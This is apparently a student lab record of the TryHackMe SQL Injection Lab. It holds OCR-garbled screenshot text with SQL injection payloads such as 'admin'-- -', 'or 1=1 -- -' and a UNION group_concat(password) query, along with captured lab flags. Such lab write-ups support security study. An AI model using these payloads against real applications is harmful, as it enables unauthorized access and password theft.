

Ex. No.: 4

Date:22.10.2025

## SQL INJECTION LAB

Aim:

To do perform SQL Injection Lab in TryHackMe platform to exploit various vulnerabilities.

Algorithm:

1. Access the SQL Injection Lab in TryHackMe platform using the link-  
<https://tryhackme.com/r/room/sqlilab>
2. Click Start AttackBox to run the instance of Kalilinux distribution.
3. Perform SQL injection attacks on the following-
  - a) Input Box Non-String
  - b) Input Box String
  - c) URL Injection
  - d) POST Injection
  - e) UPDATE Statement
4. Perform broken authentication of login forms with blind SQL injection to extract admin password
5. Perform UNION-based SQL injection and exploit the vulnerable book search function to retrieve the flag


Output:

tryhackme - Yahoo IndiaTryHackMe | DashboardCAPTURE FLAGS-ENCORYPT!TryHackMe | EncryptionPASSIVE RECONNAISSANCETryHackMe | SQL Injection

tryhackme.com/room/sqlilab

tryHackMeDashboardLearnPracticeCompeteAccess MachinesGo Premium0

Learn > SQL Injection Lab




## SQL Injection Lab

Understand how SQL injection attacks work and how to exploit this vulnerability.

45 min53,769

[Share your achievement](#)[Start AttackBox](#)[Save Room](#)[1551 Recommend](#)[Options](#)



Room completed (100%)

Task 1Introduction

Task 2Introduction to SQL Injection: Part 1

Task 3Introduction to SQL Injection: Part 2


Task 4Vulnerable Startup: Broken Authentication

Task 5Vulnerable Startup: Broken Authentication 2

Task 6Vulnerable Startup: Broken Authentication 3 (Blind injection)

Task 7Vulnerable Startup: Vulnerable Notes

Task 8Vulnerable Startup: Change Password



Hot days ahead31°C

Search

ENGIN11:5004-11-2025

Messages

Executed Query:

Query 1:

**SELECT id, username FROM users WHERE username = " union select 1,group\_concat(password) fi**

Login

Change Password

[Main Menu]

Log in

admin'-- {

admin'-- -

Password

Log in

Create an Account

Executed Query:

Query 1:

**SELECT username FROM users WHERE username=?**

Parameters:

admin'-- -

Query 2:

**INSERT INTO users (username, password) VALUES (?, ?)**

Parameters:

admin'-- -, aaa

HomeEdit ProfileLogout

SQL Injection 2: Input Box String

[Main Menu]

Francois's Profile

Flag	THM{356e9de6016b9ac34e02df99a5f755ba}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

Executed Query:

Query 1:

TryHackMe | SQL Inject | Home

10.10.151.34:5000/sesqli/home

110%

Kali LinuxKali TrainingKali ToolsKali ForumsKali DocsNetHunterOffensive SecurityMSFUExploit-DBGHDB

HomeEdit ProfileLogout

SQL Injection 1: Input Box Non-String

[Main Menu]

Francois's Profile

Flag	THM{dccea429d73d4a6b4f117ac64724f460}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

Executed Query:

Query 1:  
tail, nickName, password FROM usertable WHERE profileID=1 or 1=1 -- - AND password = 'ca978112ca:'

Result: Thus, the various exploits were performed using SQL Injection Attack.